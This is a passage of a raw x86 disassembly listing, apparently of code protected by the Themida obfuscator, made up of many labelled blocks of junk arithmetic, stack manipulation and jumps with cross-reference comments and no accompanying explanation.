or ebx, 2DA915BBh
jmp loc_5638FD
; ---------------------------------------------------------------------------
loc_560AFF: ; CODE XREF: Themida_:0056522Aj
push ecx
mov ecx, 0DEC5D56h
shr ecx, 6
xor ecx, 664BF372h
and esi, ecx
mov ecx, [esp]
jmp loc_55F6E4
; ---------------------------------------------------------------------------
loc_560B18: ; CODE XREF: Themida_:005598FDj
shr eax, 8
jmp loc_559667
; ---------------------------------------------------------------------------
loc_560B20: ; CODE XREF: Themida_:00551AD6j
push dword ptr [esp]
pop eax
add esp, 4
push 7398h
mov [esp], edi
push esi
push 4B7Dh
jmp loc_557F25
; ---------------------------------------------------------------------------
loc_560B3A: ; CODE XREF: Themida_:00550B1Ej
sub esp, 4
mov [esp], ecx
push eax
mov eax, 2FD33BF8h
and eax, 3D604B14h
and eax, 0A6976A7h
shl eax, 2
add eax, 4DA548A5h
push esi
mov esi, eax
mov ecx, esi
mov esi, [esp]
add esp, 4
pop eax
neg ecx
add ecx, 11CE7F33h
xor ecx, 0A3292E8Ch
add edx, ecx
jmp loc_55ADF2
; ---------------------------------------------------------------------------
loc_560B7C: ; CODE XREF: Themida_:0055768Bj
sub edi, eax
jmp loc_55A6B8
; ---------------------------------------------------------------------------
loc_560B83: ; CODE XREF: Themida_:0055EEA2j
push esp
jmp loc_5593E2
; ---------------------------------------------------------------------------
loc_560B89: ; CODE XREF: Themida_:00554B6Bj
mov eax, [esp]
jmp loc_56104B
; ---------------------------------------------------------------------------
loc_560B91: ; CODE XREF: Themida_:00557257j
add esp, 4
sub al, 4
sub al, 0ECh
add al, bl
add al, 0ECh
add al, 4
pop bx
sub esp, 4
mov [esp], esi
push 6E0Ch
mov [esp], esp
jmp loc_552E37
; ---------------------------------------------------------------------------
loc_560BB6: ; CODE XREF: Themida_:00554F20j
mov [esp], edx
jmp loc_560F14
; ---------------------------------------------------------------------------
loc_560BBE: ; CODE XREF: Themida_:0055CAF6j
add al, 21h
push dword ptr [esp]
jmp loc_561705
; ---------------------------------------------------------------------------
loc_560BC8: ; CODE XREF: Themida_:005607A2j
add esp, 4
add cl, ah
pop ax
push eax
jmp loc_55046F
; ---------------------------------------------------------------------------
loc_560BD5: ; CODE XREF: Themida_:005563D4j
add ebx, 37965D73h
push edx
jmp loc_55261E
; ---------------------------------------------------------------------------
loc_560BE1: ; CODE XREF: Themida_:00551219j
add esp, 4
xor edi, 561B4608h
sub esp, 4
mov [esp], edi
pop ebp
pop edi
push eax
mov eax, 5E0814C2h
shr eax, 7
shl eax, 1
xor eax, 26A31FB9h
sub eax, 0F73CEE14h
xor ebp, eax
mov eax, [esp]
add esp, 4
and eax, ebp
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], edi
mov edi, esp
jmp loc_556362
; ---------------------------------------------------------------------------
loc_560C28: ; CODE XREF: Themida_:00550A03j
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
sub edx, 7FEFFF6Bh
jmp loc_55BD81
; ---------------------------------------------------------------------------
loc_560C3D: ; CODE XREF: Themida_:00555019j
mov ecx, [esp]
add esp, 4
add esp, 4
inc ch
shl ch, 7
jmp loc_557F9F
; ---------------------------------------------------------------------------
loc_560C50: ; CODE XREF: Themida_:00552720j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_560390
; ---------------------------------------------------------------------------
loc_560C65: ; CODE XREF: Themida_:0055AD4Dj
pop edx
push esi
mov esi, esp
jmp loc_563C1C
; ---------------------------------------------------------------------------
loc_560C6E: ; CODE XREF: Themida_:005552D6j
push 28D8h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push eax
mov eax, 16E53B60h
shr eax, 7
add eax, 241F2E74h
and eax, 38AA59A2h
shr eax, 1
sub eax, 1
sub eax, 10042C4Ch
add ebp, eax
pop eax
add ebp, 4
push 40D5h
jmp loc_55FFE6
; ---------------------------------------------------------------------------
loc_560CAD: ; CODE XREF: Themida_:00553514j
pop ecx
push edx
jmp loc_55CB10
; ---------------------------------------------------------------------------
loc_560CB4: ; CODE XREF: Themida_:00565ABFj
sub ebx, ebp
jmp loc_5540F0
; ---------------------------------------------------------------------------
loc_560CBB: ; CODE XREF: Themida_:0055CC1Aj
add ebx, 3EE21780h
sub ebx, ecx
sub ebx, 3EE21780h
pop ecx
push 330Eh
mov [esp], ebx
sub esp, 4
mov [esp], eax
jmp loc_5625B3
; ---------------------------------------------------------------------------
loc_560CDD: ; CODE XREF: Themida_:00554B65j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
push 24FCh
mov [esp], esi
mov esi, 4
jmp loc_552D55
; ---------------------------------------------------------------------------
loc_560CF8: ; CODE XREF: Themida_:00559C84j
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 4
add edi, ecx
jmp loc_555D26
; ---------------------------------------------------------------------------
loc_560D21: ; CODE XREF: Themida_:0055CEB5j
add esp, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
mov esi, esp
push ebx
push edx
push ebx
mov ebx, 4
mov edx, ebx
pop ebx
mov ebx, edx
pop edx
add esi, 33A125B4h
sub esi, 597058FDh
add esi, ebx
add esi, 597058FDh
sub esi, 33A125B4h
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_55C2E2
; ---------------------------------------------------------------------------
loc_560D6A: ; CODE XREF: Themida_:00554670j
shr edx, 1
cmp eax, edx
jz loc_56437B
sub esp, 4
jmp loc_5658DC
; ---------------------------------------------------------------------------
loc_560D7C: ; CODE XREF: Themida_:0055A83Dj
add esp, 4
add ecx, edx
pop edx
sub esp, 4
mov [esp], ecx
jmp loc_55AEC8
; ---------------------------------------------------------------------------
loc_560D90: ; CODE XREF: Themida_:00561E0Fj
pop ecx
push ebx
mov ebx, esp
jmp loc_56491D
; ---------------------------------------------------------------------------
loc_560D99: ; CODE XREF: Themida_:00560530j
add eax, 4527EA55h
add edx, eax
jmp loc_55CEDE
; ---------------------------------------------------------------------------
loc_560DA5: ; CODE XREF: Themida_:005523A1j
mov esi, 7C302AA7h
jmp loc_5568BF
; ---------------------------------------------------------------------------
loc_560DAF: ; CODE XREF: Themida_:0055A94Bj
pop edi
xor eax, [esp]
xor [esp], eax
jmp loc_562BFC
; ---------------------------------------------------------------------------
loc_560DBB: ; CODE XREF: Themida_:00558794j
dec ebx
jmp loc_55EE76
; ---------------------------------------------------------------------------
loc_560DC1: ; CODE XREF: Themida_:005559B8j
sub esp, 4
mov [esp], ebp
push 28F3h
mov [esp], edi
push 668557E0h
push dword ptr [esp]
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_55B31A
; ---------------------------------------------------------------------------
loc_560DF1: ; CODE XREF: Themida_:005584CCj
push dx
mov dh, 2Bh
jmp loc_5622E1
; ---------------------------------------------------------------------------
loc_560DFA: ; CODE XREF: Themida_:00555FECj
add edx, 0DCF05587h
mov esi, edx
mov edx, [esp]
add esp, 4
sub ecx, 25CE58D4h
add ecx, esi
add ecx, 25CE58D4h
pop esi
push edx
push edi
mov edi, 4
push 31A1h
mov [esp], edi
xor dword ptr [esp], 14B33A7Bh
pop edx
xor edx, 14B33A7Bh
jmp loc_5642A0
; ---------------------------------------------------------------------------
loc_560E39: ; CODE XREF: Themida_:00564128j
add ebp, 0B1FB0BA2h
and ebp, 2BE97C06h
push 58D6h
mov [esp], edi
sub esp, 4
mov [esp], eax
mov eax, 43A86EADh
mov edi, 354B20A4h
xor edi, eax
pop eax
xor edi, 34743FB7h
and ebp, edi
jmp loc_562186
; ---------------------------------------------------------------------------
loc_560E70: ; CODE XREF: Themida_:00562FE8j
mov ebx, 2C227FE4h
add ebx, 0E7049A12h
push ebx
push ecx
pop ebx
pop ecx
jmp loc_55B024
; ---------------------------------------------------------------------------
loc_560E84: ; CODE XREF: Themida_:00556AC6j
add ebx, 1FF30B53h
jmp loc_561206
; ---------------------------------------------------------------------------
loc_560E8F: ; CODE XREF: Themida_:00561458j
add esp, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
push edi
jmp loc_55EC15
; ---------------------------------------------------------------------------
loc_560EAA: ; CODE XREF: Themida_:00550B90j
push edi
push esp
pop edi
jmp loc_564540
; ---------------------------------------------------------------------------
loc_560EB2: ; CODE XREF: Themida_:0055BDFCj
push ecx
mov ecx, 0A21AD6h
add eax, ecx
pop ecx
sub eax, 2EC333A1h
add eax, edx
push edi
mov edi, 34F305A3h
and edi, 39040E64h
add edi, 0E2372217h
jmp loc_557010
; ---------------------------------------------------------------------------
loc_560ED9: ; CODE XREF: Themida_:0055C532j
add ecx, 4
add ecx, 4
jmp loc_558DF4
; ---------------------------------------------------------------------------
loc_560EE7: ; CODE XREF: Themida_:00563575j
and ecx, 4AB23CAFh
push esi
mov esi, 245B0875h
add ecx, esi
pop esi
push ecx
dec dword ptr [esp]
not dword ptr [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
push edi
mov edi, 4
sub edx, edi
jmp loc_55F80B
; ---------------------------------------------------------------------------
loc_560F14: ; CODE XREF: Themida_:00560BB9j
mov edx, esp
jmp loc_55A373
; ---------------------------------------------------------------------------
loc_560F1B: ; CODE XREF: Themida_:0055F67Fj
mov edi, [esp]
push 62E3h
mov [esp], ebp
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
add dword ptr [esp+4], 2B964049h
push ecx
jmp loc_5552B7
; ---------------------------------------------------------------------------
loc_560F43: ; CODE XREF: Themida_:0055DC31j
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_561B59
sub esi, 8881EA3h
add esi, 381A1A6Ah
add esi, 5F724417h
add esi, 4D73CC0h
push edx
mov edx, 58BB15ACh
add esi, edx
pop edx
add esi, eax
jmp loc_55A555
; ---------------------------------------------------------------------------
loc_560F86: ; CODE XREF: Themida_:00559946j
push small 1245h
mov [esp], ax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_560F93: ; CODE XREF: Themida_:005577B0j
mov edx, 9C25A5BFh
jmp loc_55A838
; ---------------------------------------------------------------------------
loc_560F9D: ; CODE XREF: Themida_:0055ECA8j
dec ecx
jmp loc_563708
; ---------------------------------------------------------------------------
loc_560FA3: ; CODE XREF: Themida_:00553C7Ej
push 108Ch
mov [esp], ebx
push 4
pop ebx
add ebp, 0DE520D4h
add ebp, ebx
jmp loc_55C2B3
; ---------------------------------------------------------------------------
loc_560FBE: ; CODE XREF: Themida_:00555E82j
mov [esp], esi
jmp loc_55DB1D
; ---------------------------------------------------------------------------
loc_560FC6: ; CODE XREF: Themida_:00562D68j
sub esi, 3E222AF5h
xor ebx, esi
pop esi
xor edx, ebx
pop ebx
sub eax, edx
mov edx, [esp]
add esp, 4
add eax, 73AA1FC6h
sub eax, edx
sub eax, 73AA1FC6h
jmp loc_563F6A
; ---------------------------------------------------------------------------
loc_560FEB: ; CODE XREF: Themida_:00557CE7j
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
mov esi, 46B3510h
mov ebp, esi
pop esi
jmp loc_55C294
; ---------------------------------------------------------------------------
loc_561009: ; CODE XREF: Themida_:005595B2j
pop edx
sub esp, 4
mov [esp], ebp
jmp loc_559BA1
; ---------------------------------------------------------------------------
loc_561015: ; CODE XREF: Themida_:00552EB2j
and ecx, 318A49CFh
shr ecx, 2
jmp loc_559902
; ---------------------------------------------------------------------------
loc_561023: ; CODE XREF: Themida_:0055FCB0j
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
push 55A4h
mov [esp], edx
mov edx, 4
sub ebp, 79A333DEh
jmp loc_560791
; ---------------------------------------------------------------------------
loc_56104B: ; CODE XREF: Themida_:00560B8Cj
add esp, 4
push edx
mov dl, 66h
sub dl, 0C0h
or bh, dl
mov edx, [esp]
add esp, 4
jmp loc_5550DB
; ---------------------------------------------------------------------------
loc_561067: ; CODE XREF: Themida_:00562AB3j
mov edi, 0FFFFFFFFh
add ebp, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
jmp loc_560284
; ---------------------------------------------------------------------------
loc_56107C: ; CODE XREF: Themida_:0055E3F2j
mov edi, 674D5DEAh
shr edi, 2
sub edi, 19D35776h
sub esi, edi
jmp loc_565C0D
; ---------------------------------------------------------------------------
loc_561091: ; CODE XREF: Themida_:0055E5BCj
or eax, 32952516h
shr eax, 5
jmp loc_55D7E8
; ---------------------------------------------------------------------------
loc_56109E: ; CODE XREF: Themida_:0055A292j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_5600CA
; ---------------------------------------------------------------------------
loc_5610B3: ; CODE XREF: Themida_:0055D59Aj
sub esi, 4
jmp loc_5642D0
; ---------------------------------------------------------------------------
loc_5610BE: ; CODE XREF: Themida_:0055681Aj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
sub dword ptr [esp+4], 36541276h
add [esp+4], ebp
jmp loc_56237C
; ---------------------------------------------------------------------------
loc_5610D9: ; CODE XREF: Themida_:0055C806j
push 7894h
mov [esp], ecx
mov ecx, 4
mov ebx, ecx
jmp loc_562B2E
; ---------------------------------------------------------------------------
loc_5610ED: ; CODE XREF: Themida_:00552389j
and eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
or eax, eax
jnz loc_55469E
sub esp, 4
mov [esp], eax
push esi
push ebx
jmp loc_5532BA
; ---------------------------------------------------------------------------
loc_56110E: ; CODE XREF: Themida_:0055D0E2j
mov ebp, [esp]
jmp loc_561D61
; ---------------------------------------------------------------------------
loc_561116: ; CODE XREF: Themida_:005533B9j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_55E07C
; ---------------------------------------------------------------------------
loc_56112A: ; CODE XREF: Themida_:00557058j
push esi
mov esi, 7C040EDFh
sub esi, 7C040EDBh
add ebp, esi
jmp loc_55D29D
; ---------------------------------------------------------------------------
loc_56113D: ; CODE XREF: Themida_:00553219j
pop edi
xchg eax, [esp]
pop esp
and edx, 6A292552h
neg edx
sub edx, 9FFEFBAAh
jmp loc_5579CE
; ---------------------------------------------------------------------------
loc_561155: ; CODE XREF: Themida_:00563F99j
mov [esp], ebx
push esp
pop ebx
push 3BF3h
mov [esp], edi
push edx
jmp loc_55349F
; ---------------------------------------------------------------------------
loc_561168: ; CODE XREF: Themida_:0055211Bj
push edi
mov edi, 2E5F2B71h
or edx, edi
jmp loc_55A446
; ---------------------------------------------------------------------------
loc_561175: ; CODE XREF: Themida_:005561FDj
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_55B200
; ---------------------------------------------------------------------------
loc_5611A2: ; CODE XREF: Themida_:00557E81j
pop ecx
xor edi, eax
xor eax, edi
xor edi, eax
xor [esp], edi
xor edi, [esp]
xor [esp], edi
push dword ptr [esp]
pop eax
push edi
push esp
push dword ptr [esp]
jmp loc_5595EA
; ---------------------------------------------------------------------------
loc_5611C0: ; CODE XREF: Themida_:00560421j
push ebx
mov ebx, 7CBE1E62h
add dword ptr [esp+4], 36502E1h
sub [esp+4], ebx
sub dword ptr [esp+4], 36502E1h
jmp loc_557212
; ---------------------------------------------------------------------------
loc_5611DF: ; CODE XREF: Themida_:00559187j
add al, bl
push ecx
mov ch, 0CEh
or ch, 0D7h
jmp loc_55C345
; ---------------------------------------------------------------------------
loc_5611EC: ; CODE XREF: Themida_:0055E657j
sub bl, ah
pop eax
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5611FA: ; CODE XREF: Themida_:0055AFD2j
mov edx, 32D0478Bh
sub ecx, edx
jmp loc_5519C0
; ---------------------------------------------------------------------------
loc_561206: ; CODE XREF: Themida_:00560E8Aj
inc ebx
jmp loc_5571A1
; ---------------------------------------------------------------------------
loc_56120C: ; CODE XREF: Themida_:005632AFj
push 3DA5h
mov [esp], ecx
mov ecx, esp
push 307Bh
mov [esp], edx
jmp loc_55FFA3
; ---------------------------------------------------------------------------
loc_561223: ; CODE XREF: Themida_:00553112j
inc dword ptr [esp]
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_56122C: ; CODE XREF: Themida_:0055A473j
sub bl, 3Bh
sub bl, ch
add bl, 3Bh
pop cx
add bl, 68h
sub bl, al
sub bl, 68h
push ax
jmp loc_564EC7
; ---------------------------------------------------------------------------
loc_561245: ; CODE XREF: Themida_:00563C9Dj
mov esi, 613C0211h
push esi
jmp loc_562FED
; ---------------------------------------------------------------------------
loc_561250: ; CODE XREF: Themida_:0055AD45j
xchg esi, edx
or edx, 50AE241Fh
push eax
mov eax, 1
sub edx, eax
pop eax
xor edx, 8611AD8Dh
jmp loc_552D76
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 701Eh
jmp loc_563A81
; ---------------------------------------------------------------------------
loc_561279: ; CODE XREF: Themida_:00551685j
shl ebx, 4
or ebx, 1C8C07A9h
add ebx, 3CC70BB9h
xor esi, ebx
jmp loc_55532C
; ---------------------------------------------------------------------------
loc_56128F: ; CODE XREF: Themida_:0055B576j
mov eax, ecx
pop ecx
shr eax, 2
dec eax
add eax, 0EBA73C24h
sub esi, 70FD0CBFh
sub esp, 4
mov [esp], edx
mov edx, 2D48297Bh
add esi, edx
pop edx
add esi, eax
push 4636h
mov [esp], ebx
mov ebx, 0CA60595h
xor ebx, 1989082Ch
jmp loc_55D2DD
; ---------------------------------------------------------------------------
loc_5612CC: ; CODE XREF: Themida_:0055CB42j
push esi
mov esi, esp
jmp loc_55664C
; ---------------------------------------------------------------------------
loc_5612D4: ; CODE XREF: Themida_:00562EDCj
sub ecx, 70791973h
add ecx, esi
add ecx, 70791973h
pop esi
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_560426
; ---------------------------------------------------------------------------
loc_5612F4: ; CODE XREF: Themida_:0055F1CFj
sub ebp, 140A96A2h
sub edi, ebp
pop ebp
mov eax, [esp]
add esp, 4
sub ecx, edi
mov edi, [esp]
add esp, 4
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, esp
jmp loc_55F137
; ---------------------------------------------------------------------------
loc_561325: ; CODE XREF: Themida_:00557E45j
xor ecx, edi
pop edi
or edx, ecx
pop ecx
jmp loc_558267
; ---------------------------------------------------------------------------
loc_561330: ; CODE XREF: Themida_:00558505j
add ebp, eax
pop eax
add ebp, edx
sub ebp, 91133F5h
push dword ptr [esp]
push dword ptr [esp]
jmp loc_551D8C
; ---------------------------------------------------------------------------
loc_561346: ; CODE XREF: Themida_:00562394j
mov bh, ch
pop ecx
mov eax, [esp]
add esp, 4
push dx
jmp loc_557942
; ---------------------------------------------------------------------------
loc_561356: ; CODE XREF: Themida_:005653F8j
pop edx
push ebx
mov ebx, 52B32469h
and ebx, 57DA3CEBh
sub ebx, 20495731h
sub ebx, 6D6D7E7Dh
jmp loc_561DCA
; ---------------------------------------------------------------------------
loc_561374: ; CODE XREF: Themida_:0055E844j
mov ebx, 66786B6Dh
xor [esp+4], ebx
mov ebx, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
xor eax, 66786B6Dh
mov edx, [esp]
add esp, 4
push edx
sub esp, 4
jmp loc_5531C1
; ---------------------------------------------------------------------------
loc_5613A3: ; CODE XREF: Themida_:00555604j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push 0E62h
mov [esp], ebx
sub esp, 4
mov [esp], ecx
jmp loc_56159B
; ---------------------------------------------------------------------------
loc_5613C5: ; CODE XREF: Themida_:0055E83Ej
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov eax, [esp]
jmp loc_55DA06
; ---------------------------------------------------------------------------
loc_5613E7: ; CODE XREF: Themida_:00562060j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_5581DB
; ---------------------------------------------------------------------------
loc_5613FA: ; CODE XREF: Themida_:005616DEj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_551C51
; ---------------------------------------------------------------------------
loc_561409: ; CODE XREF: Themida_:0055C59Cj
pop esp
mov [esp], ecx
mov ecx, esp
push edi
push 63B35B8Eh
pop edi
push esi
push edx
push 4E91755Bh
pop edx
add edx, 0F2FCD075h
mov esi, edx
pop edx
sub edi, esi
pop esi
or edi, 157E6A25h
jmp loc_5522A2
; ---------------------------------------------------------------------------
loc_561435: ; CODE XREF: Themida_:00558CDEj
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ebx
mov ebx, 4
add eax, ebx
mov ebx, [esp]
jmp loc_560E8F
; ---------------------------------------------------------------------------
loc_56145D: ; CODE XREF: Themida_:0056049Bj
pop ebp
push 44B8h
mov [esp], ebx
push eax
mov eax, 395A11D8h
push eax
push 54C7617Bh
pop eax
mov ebx, 0D07E87CEh
jmp loc_55FBDD
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55FD34
; ---------------------------------------------------------------------------
loc_561486: ; CODE XREF: Themida_:0056180Dj
add ebx, 4
jmp loc_554956
; ---------------------------------------------------------------------------
loc_561491: ; CODE XREF: Themida_:00556272j
mov edx, ebp
jmp loc_55BECF
; ---------------------------------------------------------------------------
loc_561498: ; CODE XREF: Themida_:0055246Dj
push esi
mov esi, 775330E0h
not esi
shl esi, 3
jmp loc_5643EE
; ---------------------------------------------------------------------------
loc_5614A8: ; CODE XREF: Themida_:0055A5B0j
pop edx
shr ch, 6
dec ch
sub ch, 1
push ebp
push esp
pop ebp
add ebp, 4
push ebx
mov ebx, 62521CD2h
jmp loc_55218D
; ---------------------------------------------------------------------------
loc_5614C5: ; CODE XREF: Themida_:00555375j
shr ebx, 3
jmp loc_556975
; ---------------------------------------------------------------------------
loc_5614CD: ; CODE XREF: Themida_:005542AFj
add ecx, 4DC67283h
jmp loc_554B2E
; ---------------------------------------------------------------------------
loc_5614D8: ; CODE XREF: Themida_:0055A7F2j
xor [esp], edx
jmp loc_55A478
; ---------------------------------------------------------------------------
loc_5614E0: ; CODE XREF: Themida_:0055A6E3j
xchg ecx, [esp]
pop esp
mov [esp], ecx
sub esp, 4
push esp
pop dword ptr [esp]
sub esp, 4
mov [esp], ecx
push esi
mov esi, 53665A5Ch
mov ecx, 53665A58h
xor ecx, esi
mov esi, [esp]
add esp, 4
sub dword ptr [esp+4], 42F17E49h
add [esp+4], ecx
add dword ptr [esp+4], 42F17E49h
jmp loc_55DAD4
; ---------------------------------------------------------------------------
loc_561526: ; CODE XREF: Themida_:005617E1j
xor ebx, [esp]
mov esp, [esp]
movzx cx, al
push 2201h
mov [esp], ecx
push 73C7h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ecx
add ecx, 4
sub ecx, 2
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
push 9E6h
mov [esp], edx
mov edx, esp
add edx, 4
push ecx
push ebx
push ecx
mov ecx, 733524Eh
mov ebx, ecx
mov ecx, [esp]
add esp, 4
mov ecx, 0F8CCADB6h
add ecx, 19317CD4h
sub ecx, 1E405A77h
add ecx, ebx
jmp loc_564D9A
; ---------------------------------------------------------------------------
loc_56159B: ; CODE XREF: Themida_:005613C0j
push ebx
mov ebx, 192089h
mov ecx, 3445FE99h
sub esp, 4
mov [esp], esi
push ebp
mov ebp, 6E5D4798h
mov esi, 8986673Dh
jmp loc_55714F
; ---------------------------------------------------------------------------
loc_5615BF: ; CODE XREF: Themida_:0056367Fj
sub esi, 233D7FF2h
jmp loc_561F3C
; ---------------------------------------------------------------------------
loc_5615CA: ; CODE XREF: Themida_:0055FFC8j
add edi, 2ADF116Dh
pop ebx
mov edx, edi
jmp loc_55AEAA
; ---------------------------------------------------------------------------
loc_5615D8: ; CODE XREF: Themida_:005618A0j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_562A36
; ---------------------------------------------------------------------------
loc_5615EB: ; CODE XREF: Themida_:00554887j
pop ebx
jmp loc_5504C8
; ---------------------------------------------------------------------------
loc_5615F1: ; CODE XREF: Themida_:00559364j
shr ebp, 4
shr ebp, 8
add ebp, 6FAA6C21h
xor esi, ebp
pop ebp
add eax, 46AC7A57h
jmp loc_56572E
; ---------------------------------------------------------------------------
loc_56160A: ; CODE XREF: Themida_:00553AE3j
add ecx, 4
xchg ecx, [esp]
pop esp
sub al, 0D0h
sub al, bh
jmp loc_560607
; ---------------------------------------------------------------------------
loc_56161D: ; CODE XREF: Themida_:0055CD34j
sub ch, 59h
xor ch, 3Fh
jmp loc_560781
; ---------------------------------------------------------------------------
loc_561628: ; CODE XREF: Themida_:0055DF73j
add eax, edx
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xchg eax, [esp]
mov esp, [esp]
sub [esp], al
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_56164C: ; CODE XREF: Themida_:005650E2j
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
pop dword ptr [esp]
not ecx
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
mov eax, [esp]
push 60A7h
mov [esp], ebx
mov ebx, esp
push eax
push edi
mov edi, 54153759h
mov eax, 5415375Dh
add eax, 2B2056CDh
sub eax, edi
sub eax, 2B2056CDh
mov edi, [esp]
add esp, 4
add ebx, 0D371B17h
jmp loc_5593AA
; ---------------------------------------------------------------------------
loc_5616A5: ; CODE XREF: Themida_:00557182j
add esi, ebp
pop ebp
push esi
add dword ptr [esp], 2330947h
pop eax
sub eax, 2330947h
pop esi
mov edx, 6FEA557Bh
add edx, 69203044h
add edx, 18A83FF1h
jmp loc_55A8B8
; ---------------------------------------------------------------------------
loc_5616CD: ; CODE XREF: Themida_:00559651j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], esi
sub esp, 4
jmp loc_5613FA
; ---------------------------------------------------------------------------
loc_5616E3: ; CODE XREF: Themida_:00565682j
mov [esp], ecx
jmp loc_5554B8
; ---------------------------------------------------------------------------
loc_5616EB: ; CODE XREF: Themida_:00562FC7j
mov [esp], edx
mov eax, [esp]
push eax
mov eax, esp
jmp loc_561C9B
; ---------------------------------------------------------------------------
loc_5616F9: ; CODE XREF: Themida_:00556945j
pop ecx
sub ecx, 0FDBA11FFh
jmp loc_556C54
; ---------------------------------------------------------------------------
loc_561705: ; CODE XREF: Themida_:00560BC3j
pop edx
push edx
mov edx, esp
add edx, 4
push esi
jmp loc_55110E
; ---------------------------------------------------------------------------
loc_561715: ; CODE XREF: Themida_:0055F78Dj
sub eax, edx
jmp loc_55F770
; ---------------------------------------------------------------------------
loc_56171C: ; CODE XREF: Themida_:00557310j
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_55401F
; ---------------------------------------------------------------------------
loc_561736: ; CODE XREF: Themida_:005513ECj
push ebx
jmp loc_550569
; ---------------------------------------------------------------------------
loc_56173C: ; CODE XREF: Themida_:0055C8ADj
add dword ptr [esp+4], 1C604127h
mov edi, [esp]
add esp, 4
mov eax, [esp]
jmp loc_55C000
; ---------------------------------------------------------------------------
loc_561755: ; CODE XREF: Themida_:00555653j
add esp, 4
not ecx
jmp loc_554F25
; ---------------------------------------------------------------------------
loc_561762: ; CODE XREF: Themida_:00565BFFj
inc edx
inc edx
neg edx
xor edx, 0DB07B13h
jmp loc_55F3A3
; ---------------------------------------------------------------------------
loc_561771: ; CODE XREF: Themida_:0055A428j
mov ecx, [esp]
add esp, 4
push eax
push ecx
mov cl, dl
mov al, cl
pop ecx
push ebx
mov bh, al
mov cl, bh
jmp loc_5505E7
; ---------------------------------------------------------------------------
loc_561788: ; CODE XREF: Themida_:005518C3j
mov edx, esp
add edx, 4
push edi
push eax
jmp loc_55E135
; ---------------------------------------------------------------------------
loc_561797: ; CODE XREF: Themida_:00565692j
add esp, 4
add ecx, 2
xor ecx, [esp]
xor [esp], ecx
jmp loc_553306
; ---------------------------------------------------------------------------
loc_5617AE: ; CODE XREF: Themida_:00550E4Dj
push 2A79h
jmp loc_55AEDA
; ---------------------------------------------------------------------------
loc_5617B8: ; CODE XREF: Themida_:0055CCA5j
mov dh, 7
sub al, dh
pop dx
push ebx
mov bh, al
not bh
mov al, bh
mov ebx, [esp]
add esp, 4
sub al, 28h
sub bl, 84h
sub bl, 95h
jmp loc_5658A6
; ---------------------------------------------------------------------------
loc_5617DB: ; CODE XREF: Themida_:00559012j
xor ebx, [esp]
xor [esp], ebx
jmp loc_561526
; ---------------------------------------------------------------------------
loc_5617E6: ; CODE XREF: Themida_:0055E396j
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
jmp loc_556670
; ---------------------------------------------------------------------------
loc_561800: ; CODE XREF: Themida_:0055E2EBj
or edi, 712A187Dh
jmp loc_558146
; ---------------------------------------------------------------------------
loc_56180B: ; CODE XREF: Themida_:00564789j
mov ebx, esp
jmp loc_561486
; ---------------------------------------------------------------------------
loc_561812: ; CODE XREF: Themida_:00562D16j
xchg ebx, [esp]
pop esp
mov [esp], ecx
push ebp
push 55B66F9Fh
pop ebp
xor ebp, 621750EFh
neg ebp
